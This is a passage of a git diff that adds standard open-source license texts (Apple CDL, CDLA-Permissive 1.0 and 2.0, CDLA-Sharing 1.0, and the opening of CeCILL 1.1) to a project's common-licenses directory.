+4. Compilation with Independent Works. You may compile or combine a Document or its Derivative Works with other separate and independent documents or works to create a compilation work ("Compilation"). If included in a Compilation, the Document or Derivative Work thereof must still be provided under the terms of this License, and the Compilation shall contain (a) a notice specifying the inclusion of the Document and/or Derivative Work and the fact that it is subject to the terms of this License, and (b) either a copy of the License or an incorporation by reference in proper form (as indicated in Exhibit A). Mere aggregation of a Document or Derivative Work with other documents or works on the same storage or distribution medium (e.g. a CD-ROM) will not cause this License to apply to those other works.
+
+5. NO WARRANTY. THE DOCUMENT IS PROVIDED 'AS IS' BASIS, WITHOUT WARRANTY OF ANY KIND, AND THE COPYRIGHT HOLDER EXPRESSLY DISCLAIMS ALL WARRANTIES AND/OR CONDITIONS WITH RESPECT TO THE DOCUMENT, EITHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES AND/OR CONDITIONS OF MERCHANTABILITY, OF SATISFACTORY QUALITY, OF FITNESS FOR A PARTICULAR PURPOSE, OF ACCURACY, OF QUIET ENJOYMENT, AND OF NONINFRINGEMENT OF THIRD PARTY RIGHTS.
+
+6. LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY INCIDENTAL, SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES ARISING OUT OF OR RELATING TO THIS LICENSE OR YOUR USE, REPRODUCTION, MODIFICATION, DISTRIBUTION AND/OR PUBLICATION OF THE DOCUMENT, OR ANY PORTION THEREOF, WHETHER UNDER A THEORY OF CONTRACT, WARRANTY, TORT (INCLUDING NEGLIGENCE), STRICT LIABILITY OR OTHERWISE, EVEN IF THE COPYRIGHT HOLDER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES AND NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY REMEDY.
+
+7. Trademarks. This License does not grant any rights to use any names, trademarks, service marks or logos of the Copyright Holder (collectively "Marks") and no such Marks may be used to endorse or promote works or products derived from the Document without the prior written permission of the Copyright Holder.
+
+8. Versions of the License. Apple Computer, Inc. ("Apple") may publish revised and/or new versions of this License from time to time. Each version will be given a distinguishing version number. Once a Document has been published under a particular version of this License, You may continue to use it under the terms of that version. You may also choose to use such Document under the terms of any subsequent version of this License published by Apple. No one other than Apple has the right to modify the terms applicable to Documents created under this License.
+
+9. Termination. This License and the rights granted hereunder will terminate automatically if You fail to comply with any of its terms. Upon termination, You must immediately stop any further reproduction, modification, public display, distr ibution and publication of the Document and Derivative Works. However, all sublicenses to the Document and Derivative Works which have been properly granted prior to termination shall survive any termination of this License. Provisions which, by their nat ure, must remain in effect beyond the termination of this License shall survive, including but not limited to Sections 5, 6, 7, 9 and 10.
+
+10. Waiver; Severability; Governing Law. Failure by the Copyright Holder to enforce any provision of this License will not be deemed a waiver of future enforcement of that or any other provision. If for any reason a court of competent jurisdiction finds any provision of this License, or portion thereof, to be unenforceable, that provision of the License will be enforced to the maximum extent permissible so as to effect the economic benefits and intent of the parties, and the remainder of this License will continue in full force and effect. This License shall be governed by the laws of the United States and the State of California, except that body of California law concerning conflicts of law.
+
+EXHIBIT A
+
+The proper form for an incorporation of this License by reference is as follows:
+
+"Copyright (c) [year] by [Copyright Holder's name]. This material has been released under and is subject to the terms of the Common Documentation License, v.1.0, the terms of which are hereby incorporated by reference. Please obtain a copy of the License at http://www.opensource.apple.com/cdl/ and read it before using this material. Your use of this material signifies your agreement to the terms of the License."
diff --git a/meta/files/common-licenses/CDLA-Permissive-1.0 b/meta/files/common-licenses/CDLA-Permissive-1.0
new file mode 100644
index 0000000000..28249cf1f3
--- /dev/null
+++ b/meta/files/common-licenses/CDLA-Permissive-1.0
@@ -0,0 +1,85 @@
+Community Data License Agreement – Permissive – Version 1.0
+
+This is the Community Data License Agreement – Permissive, Version 1.0 (“Agreement”). Data is provided to You under this Agreement by each of the Data Providers. Your exercise of any of the rights and permissions granted below constitutes Your acceptance and agreement to be bound by the terms and conditions of this Agreement.
+
+The benefits that each Data Provider receives from making Data available and that You receive from Data or otherwise under these terms and conditions shall be deemed sufficient consideration for the formation of this Agreement. Accordingly, Data Provider(s) and You (the “Parties”) agree as follows:
+
+Section 1. Definitions
+
+1.1 “Add” means to supplement Data with Your own or someone else’s Data, resulting in Your “Additions.” Additions do not include Results.
+
+1.2 “Computational Use” means Your analysis (through the use of computational devices or otherwise) or other interpretation of Data. By way of example and not limitation, “Computational Use” includes the application of any computational analytical technique, the purpose of which is the analysis of any Data in digital form to generate information about Data such as patterns, trends, correlations, inferences, insights and attributes.
+
+1.3 “Data” means the information (including copyrightable information, such as images or text), collectively or individually, whether created or gathered by a Data Provider or an Entity acting on its behalf, to which rights are granted under this Agreement.
+
+1.4 “Data Provider” means any Entity (including any employee or contractor of such Entity authorized to Publish Data on behalf of such Entity) that Publishes Data under this Agreement prior to Your Receiving it.
+
+1.5 “Enhanced Data” means the subset of Data that You Publish and that is composed of (a) Your Additions and/or (b) Modifications to Data You have received under this Agreement.
+
+1.6 “Entity” means any natural person or organization that exists under the laws of the jurisdiction in which it is organized, together with all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, “control” means (a) the power, directly or indirectly, to cause the direction or management of such entity, whether by contract or otherwise, (b) the ownership of more than fifty percent (50%) of the outstanding shares or securities, (c) the beneficial ownership of such entity or, (d) the ability to appoint, whether by agreement or right, the majority of directors of an Entity.
+
+1.7 “Modify” means to delete, erase, correct or re-arrange Data, resulting in “Modifications.” Modifications do not include Results.
+
+1.8 “Publish” means to make all or a subset of Data (including Your Enhanced Data) available in any manner which enables its Use, including by providing a copy on physical media or remote access. For any form of Entity, that is to make the Data available to any individual who is not employed by that Entity or engaged as a contractor or agent to perform work on that Entity’s behalf. A “Publication” occurs each time You Publish Data.
+
+1.9 “Receive” or “Receives” means to have been given access to Data, locally or remotely.
+
+1.10 “Results” means the outcomes or outputs that You obtain from Your Computational Use of Data. Results shall not include more than a de minimis portion of the Data on which the Computational Use is based.
+
+1.11 “Sui Generis Database Rights” means rights, other than copyright, resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other equivalent rights anywhere in the world.
+
+1.12 “Use” means using Data (including accessing, copying, studying, reviewing, adapting, analyzing, evaluating, or making Computational Use of it), either by machines or humans, or a combination of both.
+
+1.13 “You” or “Your” means any Entity that Receives Data under this Agreement.
+
+Section 2. Right and License to Use and to Publish
+
+2.1 Subject to the conditions set forth in Section 3 of this Agreement, Data Provider(s) hereby grant(s) to You a worldwide, non-exclusive, irrevocable (except as provided in Section 5) right to: (a) Use Data; and (b) Publish Data.
+
+2.2 To the extent that the Data or the coordination, selection or arrangement of Data is protected or protectable under copyright, Sui Generis Database Rights, or other law, Data Provider(s) further agree(s) that such Data or coordination, selection or arrangement is hereby licensed to You and to anyone else who Receives Data under this Agreement for Use and Publication, subject to the conditions set forth in Section 3 of this Agreement.
+
+2.3 Except for these rights and licenses expressly granted, no other intellectual property rights are granted or should be implied.
+
+Section 3. Conditions on Rights Granted
+
+3.1 If You Publish Data You Receive or Enhanced Data:
+
+(a) You may do so under a license of Your choice provided that You give anyone who Receives the Data from You the text of this Agreement, the name of this Agreement and/or a hyperlink or other method reasonably likely to provide a copy of the text of this Agreement; and
+
+(b) You must cause any Data files containing Enhanced Data to carry prominent notices that You have changed those files; and
+
+(c) If You Publish Data You Receive, You must preserve all credit or attribution to the Data Provider(s). Such retained credit or attribution includes any of the following to the extent they exist in Data as You have Received it: legal notices or metadata; identification of the Data Provider(s); or hyperlinks to Data to the extent it is practical to do so.
+
+3.2 You may provide additional or different license terms and conditions for use, reproduction, or distribution of that Enhanced Data, or for any combination of Data and Enhanced Data as a whole, provided that Your Use and Publication of that combined Data otherwise complies with the conditions stated in this License.
+
+3.3 You and each Data Provider agree that Enhanced Data shall not be considered a work of joint authorship by virtue of its relationship to Data licensed under this Agreement and shall not require either any obligation of accounting to or the consent of any Data Provider.
+
+3.4 This Agreement imposes no obligations or restrictions on Your Use or Publication of Results.
+
+Section 4. Data Provider(s)’ Representations
+
+4.1 Each Data Provider represents that the Data Provider has exercised reasonable care, to assure that: (a) the Data it Publishes was created or generated by it or was obtained from others with the right to Publish the Data under this Agreement; and (b) Publication of such Data does not violate any privacy or confidentiality obligation undertaken by the Data Provider.
+
+Section 5. Termination
+
+5.1 All of Your rights under this Agreement will terminate, and Your right to Receive, Use or Publish the Data will be revoked or modified if You materially fail to comply with the terms and conditions of this Agreement and You do not cure such failure in a reasonable period of time after becoming aware of such noncompliance. If Your rights under this Agreement terminate, You agree to cease Receipt, Use and Publication of Data. However, Your obligations and any rights and permissions granted by You under this Agreement relating to Data that You Published prior to such termination will continue and survive.
+
+5.2 If You institute litigation against a Data Provider or anyone else who Receives the Data (including a cross-claim in a lawsuit) based on the Data, other than a claim asserting breach of this Agreement, then any rights previously granted to You to Receive, Use and Publish Data under this Agreement will terminate as of the date such litigation is filed.
+
+Section 6. Disclaimer of Warranties and Limitation of Liability
+
+6.1 EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE DATA (INCLUDING ENHANCED DATA) IS PROVIDED ON AN “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+6.2 NEITHER YOU NOR ANY DATA PROVIDERS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE DATA OR THE EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+Section 7. Miscellaneous
+
+7.1 You agree that it is solely Your responsibility to comply with all applicable laws with regard to Your Use or Publication of Data, including any applicable privacy, data protection, security and export laws. You agree to take reasonable steps to assist a Data Provider fulfilling responsibilities to comply with applicable laws with regard to Use or Publication of Data Received hereunder.
+
+7.2 You and Data Provider(s), collectively and individually, waive and/or agree not to assert, to the extent permitted by law, any moral rights You or they hold in Data.
+
+7.3 This Agreement confers no rights or remedies upon any person or entity other than the Parties and their respective heirs, executors, successors and assigns.
+
+7.4 The Data Provider(s) reserve no right or expectation of privacy, data protection or confidentiality in any Data that they Publish under this Agreement. If You choose to Publish Data under this Agreement, You similarly do so with no reservation or expectation of any rights of privacy or confidentiality in that Data.
+
+7.5 The Community Data License Agreement workgroup under The Linux Foundation is the steward of this Agreement (“Steward”). No one other than the Steward has the right to modify or publish new versions of this Agreement. Each version will be given a distinguishing version number. You may Use and Publish Data Received hereunder under the terms of the version of the Agreement under which You originally Received the Data, or under the terms of any subsequent version published by the Steward.
diff --git a/meta/files/common-licenses/CDLA-Permissive-2.0 b/meta/files/common-licenses/CDLA-Permissive-2.0
new file mode 100644
index 0000000000..cc0f954b59
--- /dev/null
+++ b/meta/files/common-licenses/CDLA-Permissive-2.0
@@ -0,0 +1,35 @@
+Community Data License Agreement - Permissive - Version 2.0
+
+This is the Community Data License Agreement - Permissive, Version 2.0 (the "agreement"). Data Provider(s) and Data Recipient(s) agree as follows:
+
+1. Provision of the Data
+
+1.1. A Data Recipient may use, modify, and share the Data made available by Data Provider(s) under this agreement if that Data Recipient follows the terms of this agreement.
+
+1.2. This agreement does not impose any restriction on a Data Recipient's use, modification, or sharing of any portions of the Data that are in the public domain or that may be used, modified, or shared under any other legal exception or limitation.
+
+2. Conditions for Sharing Data
+
+2.1. A Data Recipient may share Data, with or without modifications, so long as the Data Recipient makes available the text of this agreement with the shared Data.
+
+3. No Restrictions on Results
+
+3.1. This agreement does not impose any restriction or obligations with respect to the use, modification, or sharing of Results.
+
+4. No Warranty; Limitation of Liability
+
+4.1. All Data Recipients receive the Data subject to the following terms:
+
+THE DATA IS PROVIDED ON AN "AS IS" BASIS, WITHOUT REPRESENTATIONS, WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+NO DATA PROVIDER SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE DATA OR RESULTS, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+5. Definitions
+
+5.1. "Data" means the material received by a Data Recipient under this agreement.
+
+5.2. "Data Provider" means any person who is the source of Data provided under this agreement and in reliance on a Data Recipient's agreement to its terms.
+
+5.3. "Data Recipient" means any person who receives Data directly or indirectly from a Data Provider and agrees to the terms of this agreement.
+
+5.4. "Results" means any outcome obtained by computational analysis of Data, including for example machine learning models and models' insights.
diff --git a/meta/files/common-licenses/CDLA-Sharing-1.0 b/meta/files/common-licenses/CDLA-Sharing-1.0
new file mode 100644
index 0000000000..dba8e2576e
--- /dev/null
+++ b/meta/files/common-licenses/CDLA-Sharing-1.0
@@ -0,0 +1,89 @@
+Community Data License Agreement – Sharing – Version 1.0
+
+This is the Community Data License Agreement – Sharing, Version 1.0 (“Agreement”). Data is provided to You under this Agreement by each of the Data Providers. Your exercise of any of the rights and permissions granted below constitutes Your acceptance and agreement to be bound by the terms and conditions of this Agreement.
+
+The benefits that each Data Provider receives from making Data available and that You receive from Data or otherwise under these terms and conditions shall be deemed sufficient consideration for the formation of this Agreement. Accordingly, Data Provider(s) and You (the “Parties”) agree as follows:
+
+Section 1. Definitions
+
+1.1 “Add” means to supplement Data with Your own or someone else’s Data, resulting in Your “Additions.” Additions do not include Results.
+
+1.2 “Computational Use” means Your analysis (through the use of computational devices or otherwise) or other interpretation of Data. By way of example and not limitation, “Computational Use” includes the application of any computational analytical technique, the purpose of which is the analysis of any Data in digital form to generate information about Data such as patterns, trends, correlations, inferences, insights and attributes.
+
+1.3 “Data” means the information (including copyrightable information, such as images or text), collectively or individually, whether created or gathered by a Data Provider or an Entity acting on its behalf, to which rights are granted under this Agreement.
+
+1.4 “Data Provider” means any Entity (including any employee or contractor of such Entity authorized to Publish Data on behalf of such Entity) that Publishes Data under this Agreement prior to Your Receiving it.
+
+1.5 “Enhanced Data” means the subset of Data that You Publish and that is composed of (a) Your Additions and/or (b) Modifications to Data You have received under this Agreement.
+
+1.6 “Entity” means any natural person or organization that exists under the laws of the jurisdiction in which it is organized, together with all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, “control” means (a) the power, directly or indirectly, to cause the direction or management of such entity, whether by contract or otherwise, (b) the ownership of more than fifty percent (50%) of the outstanding shares or securities, (c) the beneficial ownership of such entity or, (d) the ability to appoint, whether by agreement or right, the majority of directors of an Entity.
+
+1.7 “Ledger” means a digital record of Data or grants of rights in Data governed by this Agreement, using any technology having functionality to record and store Data or grants, contributions, or licenses to Data governed by this Agreement.
+
+1.8 “Modify” means to delete, erase, correct or re-arrange Data, resulting in “Modifications.” Modifications do not include Results.
+
+1.9 “Publish” means to make all or a subset of Data (including Your Enhanced Data) available in any manner which enables its Use, including by providing a copy on physical media or remote access. For any form of Entity, that is to make the Data available to any individual who is not employed by that Entity or engaged as a contractor or agent to perform work on that Entity’s behalf. A “Publication” occurs each time You Publish Data.
+
+1.10 “Receive” or “Receives” means to have been given access to Data, locally or remotely.
+
+1.11 “Results” means the outcomes or outputs that You obtain from Your Computational Use of Data. Results shall not include more than a de minimis portion of the Data on which the Computational Use is based.
+
+1.12 “Sui Generis Database Rights” means rights, other than copyright, resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other equivalent rights anywhere in the world.
+
+1.13 “Use” means using Data (including accessing, copying, studying, reviewing, adapting, analyzing, evaluating, or making Computational Use of it), either by machines or humans, or a combination of both.
+
+1.14 “You” or “Your” means any Entity that Receives Data under this Agreement.
+
+Section 2. Right and License to Use and to Publish
+
+2.1 Subject to the conditions set forth in Section 3 of this Agreement, Data Provider(s) hereby grant(s) to You a worldwide, non-exclusive, irrevocable (except as provided in Section 5) right to: (a) Use Data; and (b) Publish Data.
+
+2.2 To the extent that the Data or the coordination, selection or arrangement of Data is protected or protectable under copyright, Sui Generis Database Rights, or other law, Data Provider(s) further agree(s) that such Data or coordination, selection or arrangement is hereby licensed to You and to anyone else who Receives Data under this Agreement for Use and Publication, subject to the conditions set forth in Section 3 of this Agreement.
+
+2.3 Except for these rights and licenses expressly granted, no other intellectual property rights are granted or should be implied.
+
+Section 3. Conditions on Rights Granted
+
+3.1 If You Publish Data You Receive or Enhanced Data:
+
+(a) The Data (including the Enhanced Data) must be Published under this Agreement in accordance with this Section 3; and
+
+(b) You must cause any Data files containing Enhanced Data to carry prominent notices that You have changed those files; and
+
+(c) If You Publish Data You Receive, You must preserve all credit or attribution to the Data Provider(s). Such retained credit or attribution includes any of the following to the extent they exist in Data as You have Received it: legal notices or metadata; identification of the Data Provider(s); or hyperlinks to Data to the extent it is practical to do so.
+
+3.2 You may not restrict or deter the ability of anyone who Receives the Data (a) to Publish the Data in a publicly-accessible manner or (b) if the project has designated a Ledger for recording Data or grants of rights in Data for purposes of this Agreement, to record the Data or grants of rights in Data in the Ledger.
+
+3.3 If You Publish Data You Receive, You must do so under an unmodified form of this Agreement and include the text of this Agreement, the name of this Agreement and/or a hyperlink or other method reasonably likely to provide a copy of the text of this Agreement. You may not modify this Agreement or impose any further restrictions on the exercise of the rights granted under this Agreement, including by adding any restriction on commercial or non-commercial Use of Data (including Your Enhanced Data) or by limiting permitted Use of such Data to any particular platform, technology or field of endeavor. Notices that purport to modify this Agreement shall be of no effect.
+
+3.4 You and each Data Provider agree that Enhanced Data shall not be considered a work of joint authorship by virtue of its relationship to Data licensed under this Agreement and shall not require either any obligation of accounting to or the consent of any Data Provider.
+
+3.5 This Agreement imposes no obligations or restrictions on Your Use or Publication of Results.
+
+Section 4. Data Provider(s)’ Representations
+
+4.1 Each Data Provider represents that the Data Provider has exercised reasonable care, to assure that: (a) the Data it Publishes was created or generated by it or was obtained from others with the right to Publish the Data under this Agreement; and (b) Publication of such Data does not violate any privacy or confidentiality obligation undertaken by the Data Provider.
+
+Section 5. Termination
+
+5.1 All of Your rights under this Agreement will terminate, and Your right to Receive, Use or Publish the Data will be revoked or modified if You materially fail to comply with the terms and conditions of this Agreement and You do not cure such failure in a reasonable period of time after becoming aware of such noncompliance. If Your rights under this Agreement terminate, You agree to cease Receipt, Use and Publication of Data. However, Your obligations and any rights and permissions granted by You under this Agreement relating to Data that You Published prior to such termination will continue and survive.
+
+5.2 If You institute litigation against a Data Provider or anyone else who Receives the Data (including a cross-claim in a lawsuit) based on the Data, other than a claim asserting breach of this Agreement, then any rights previously granted to You to Receive, Use and Publish Data under this Agreement will terminate as of the date such litigation is filed.
+
+Section 6. Disclaimer of Warranties and Limitation of Liability
+
+6.1 EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE DATA (INCLUDING ENHANCED DATA) IS PROVIDED ON AN “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+6.2 NEITHER YOU NOR ANY DATA PROVIDERS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE DATA OR THE EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+Section 7. Miscellaneous
+
+7.1 You agree that it is solely Your responsibility to comply with all applicable laws with regard to Your Use or Publication of Data, including any applicable privacy, data protection, security and export laws. You agree to take reasonable steps to assist a Data Provider fulfilling responsibilities to comply with applicable laws with regard to Use or Publication of Data Received hereunder.
+
+7.2 You and Data Provider(s), collectively and individually, waive and/or agree not to assert, to the extent permitted by law, any moral rights You or they hold in Data.
+
+7.3 This Agreement confers no rights or remedies upon any person or entity other than the Parties and their respective heirs, executors, successors and assigns.
+
+7.4 The Data Provider(s) reserve no right or expectation of privacy, data protection or confidentiality in any Data that they Publish under this Agreement. If You choose to Publish Data under this Agreement, You similarly do so with no reservation or expectation of any rights of privacy or confidentiality in that Data.
+
+7.5 The Community Data License Agreement workgroup under The Linux Foundation is the steward of this Agreement (“Steward”). No one other than the Steward has the right to modify or publish new versions of this Agreement. Each version will be given a distinguishing version number. You may Use and Publish Data Received hereunder under the terms of the version of the Agreement under which You originally Received the Data, or under the terms of any subsequent version published by the Steward.
diff --git a/meta/files/common-licenses/CECILL-1.1 b/meta/files/common-licenses/CECILL-1.1
new file mode 100644
index 0000000000..95bea5c9db
--- /dev/null
+++ b/meta/files/common-licenses/CECILL-1.1
@@ -0,0 +1,229 @@
+ FREE SOFTWARE LICENSING AGREEMENT CeCILL
+
+Notice
+
+This Agreement is a free software license that is the result of discussions between its authors in order to ensure compliance with the two main principles guiding its drafting:
+ - firstly, its conformity with French law, both as regards the law of torts and intellectual property law, and the protection that it offers to authors and the holders of economic rights over software.
+ - secondly, compliance with the principles for the distribution of free software: access to source codes, extended user-rights.
+
+The following bodies are the authors of this license CeCILL (Ce : CEA, C : CNRS, I : INRIA, LL : Logiciel Libre):
+
+Commissariat à l'Energie Atomique - CEA, a public scientific, technical and industrial establishment, having its principal place of business at 31-33 rue de la Fédération, 75752 PARIS cedex 15, France.
+
+Centre National de la Recherche Scientifique - CNRS, a public scientific and technological establishment, having its principal place of business at 3 rue Michel-Ange 75794 Paris cedex 16, France.
+
+Institut National de Recherche en Informatique et en Automatique - INRIA, a public scientific and technological establishment, having its principal place of business at Domaine de Voluceau, Rocquencourt, BP 105, 78153 Le Chesnay cedex.
+
+PREAMBLE
+
+The purpose of this Free Software Licensing Agreement is to grant users the right to modify and redistribute the software governed by this license within the framework of an "open source" distribution model.
+
+The exercising of these rights is conditional upon certain obligations for users so as to ensure that this status is retained for subsequent redistribution operations.
+
+As a counterpart to the access to the source code and rights to copy, modify and redistribute granted by the license, users are provided only with a limited warranty and the software's author, the holder of the economic rights, and the successive licensors only have limited liability.
+
+In this respect, it is brought to the user's attention that the risks associated with loading, using, modifying and/or developing or reproducing the software by the user given its nature of Free Software, that may mean that it is complicated to manipulate, and that also therefore means that it is reserved for developers and experienced professionals having in-depth computer knowledge. Users are therefore encouraged to load and test the Software's suitability as regards their requirements in conditions enabling the security of their systems and/or data to be ensured and, more generally, to use and operate it in the same conditions of security. This Agreement may be freely reproduced and published, provided it is not altered, and that no Articles are either added or removed herefrom.
+
+This Agreement may apply to any or all software for which the holder of the economic rights decides to submit the operation thereof to its provisions.
+
+Article 1 - DEFINITIONS
+
+For the purposes of this Agreement, when the following expressions commence with a capital letter, they shall have the following meaning:
+
+Agreement: means this Licensing Agreement, and any or all of its subsequent versions.
+
+Software: means the software in its Object Code and/or Source Code form and, where applicable, its documentation, "as is" at the time when the Licensee accepts the Agreement.
+
+Initial Software: means the Software in its Source Code and/or Object Code form and, where applicable, its documentation, "as is" at the time when it is distributed for the first time under the terms and conditions of the Agreement.
+
+Modified Software: means the Software modified by at least one Contribution.
+
+Source Code: means all the Software's instructions and program lines to which access is required so as to modify the Software.
+
+Object Code: means the binary files originating from the compilation of the Source Code.
+
+Holder: means the holder of the economic rights over the Initial Software.
+
+Licensee(s): mean(s) the Software user(s) having accepted the Agreement.
+
+Contributor: means a Licensee having made at least one Contribution.
+
+Licensor: means the Holder, or any or all other individual or legal entity, that distributes the Software under the Agreement.
+
+Contributions: mean any or all modifications, corrections, translations, adaptations and/or new functionalities integrated into the Software by any or all Contributor, and the Static Modules.
+
+Module: means a set of sources files including their documentation that, once compiled in executable form, enables supplementary functionalities or services to be developed in addition to those offered by the Software.
+
+Dynamic Module: means any or all module, created by the Contributor, that is independent of the Software, so that this module and the Software are in two different executable forms that are run in separate address spaces, with one calling the other when they are run.
+
+Static Module: means any or all module, created by the Contributor and connected to the Software by a static link that makes their object codes interdependent. This module and the Software to which it is connected, are combined in a single executable.
+
+Parties: mean both the Licensee and the Licensor.
+
+These expressions may be used both in singular and plural form.
+
+Article 2 - PURPOSE
+
+The purpose of the Agreement is to enable the Licensor to grant the Licensee a free, non-exclusive, transferable and worldwide License for the Software as set forth in Article 5 hereinafter for the whole term of protection of the rights over said Software.
+
+Article 3 - ACCEPTANCE
+
+3.1. The Licensee shall be deemed as having accepted the terms and conditions of this Agreement by the occurrence of the first of the following events:
+ (i) loading the Software by any or all means, notably, by downloading from a remote server, or by loading from a physical medium;
+ (ii) the first time the Licensee exercises any of the rights granted hereunder.
+
+3.2. One copy of the Agreement, containing a notice relating to the specific nature of the Software, to the limited warranty, and to the limitation to use by experienced users has been provided to the Licensee prior to its acceptance as set forth in Article 3.1 hereinabove, and the Licensee hereby acknowledges that it is aware thereof.
+
+Article 4 - EFFECTIVE DATE AND TERM
+
+4.1. EFFECTIVE DATE
+
+The Agreement shall become effective on the date when it is accepted by the Licensee as set forth in Article 3.1.
+
+4.2. TERM
+
+The Agreement shall remain in force during the whole legal term of protection of the economic rights over the Software.
+
+Article 5 - SCOPE OF THE RIGHTS GRANTED ---------------------------------------
+
+The Licensor hereby grants to the Licensee, that accepts such, the following rights as regards the Software for any or all use, and for the term of the Agreement, on the basis of the terms and conditions set forth hereinafter.
+
+Otherwise, the Licensor grants to the Licensee free of charge exploitation rights on the patents he holds on whole or part of the inventions implemented in the Software.
+
+5.1. RIGHTS OF USE
+
+The Licensee is authorized to use the Software, unrestrictedly, as regards the fields of application, with it being hereinafter specified that this relates to:
+ 1. permanent or temporary reproduction of all or part of the Software by any or all means and in any or all form.
+ 2. loading, displaying, running, or storing the Software on any or all medium.
+ 3. entitlement to observe, study or test the operation thereof so as to establish the ideas and principles that form the basis for any or all constituent elements of said Software. This shall apply when the Licensee carries out any or all loading, displaying, running, transmission or storage operation as regards the Software, that it is entitled to carry out hereunder.
+
+5.2. entitlement to make CONTRIBUTIONS
+
+The right to make Contributions includes the right to translate, adapt, arrange, or make any or all modification to the Software, and the right to reproduce the resulting Software.
+
+The Licensee is authorized to make any or all Contribution to the Software provided that it explicitly mentions its name as the author of said Contribution and the date of the development thereof.
+
+5.3. DISTRIBUTION AND PUBLICATION RIGHTS
+
+In particular, the right of distribution and publication includes the right to transmit and communicate the Software to the general public on any or all medium, and by any or all means, and the right to market, either in consideration of a fee, or free of charge, a copy or copies of the Software by means of any or all process. The Licensee is further authorized to redistribute copies of the modified or unmodified Software to third parties according to the terms and conditions set forth hereinafter.
+
+5.3.1. REDISTRIBUTION OF SOFTWARE WITHOUT MODIFICATION
+
+The Licensee is authorized to redistribute true copies of the Software in Source Code or Object Code form, provided that said redistribution complies with all the provisions of the Agreement and is accompanied by:
+
+ 1. a copy of the Agreement,
+ 2. a notice relating to the limitation of both the Licensor's warranty and liability as set forth in Articles 8 and 9,
+
+and that, in the event that only the Software's Object Code is redistributed, the Licensee allows future Licensees unhindered access to the Software's full Source Code by providing them with the terms and conditions for access thereto, it being understood that the additional cost of acquiring the Source Code shall not exceed the cost of transferring the data.
+
+5.3.2. REDISTRIBUTION OF MODIFIED SOFTWARE
+
+When the Licensee makes a Contribution to the Software, the terms and conditions for the redistribution of the Modified Software shall then be subject to all the provisions hereof.
+
+The Licensee is authorized to redistribute the Modified Software, in Source Code or Object Code form, provided that said redistribution complies with all the provisions of the Agreement and is accompanied by:
+
+ 1. a copy of the Agreement,
+ 2. a notice relating to the limitation of both the Licensor's warranty and liability as set forth in Articles 8 and 9,
+
+and that, in the event that only the Modified Software's Object Code is redistributed, the Licensee allows future Licensees unhindered access to the Modified Software's full Source Code by providing them with the terms and conditions for access thereto, it being understood that the additional cost of acquiring the Source Code shall not exceed the cost of transferring the data.
+
+5.3.3. redistribution OF DYNAMIC MODULES
+
+When the Licensee has developed a Dynamic Module, the terms and conditions hereof do not apply to said Dynamic Module, that may be distributed under a separate Licensing Agreement.
+
+5.3.4. COMPATIBILITY WITH THE GPL LICENSE
+
+In the event that the Modified or unmodified Software is included in a code that is subject to the provisions of the GPL License, the Licensee is authorized to redistribute the whole under the GPL License.
+
+In the event that the Modified Software includes a code that is subject to the provisions of the GPL License, the Licensee is authorized to redistribute the Modified Software under the GPL License.
+
+Article 6 - INTELLECTUAL PROPERTY
+
+6.1. OVER THE INITIAL SOFTWARE
+
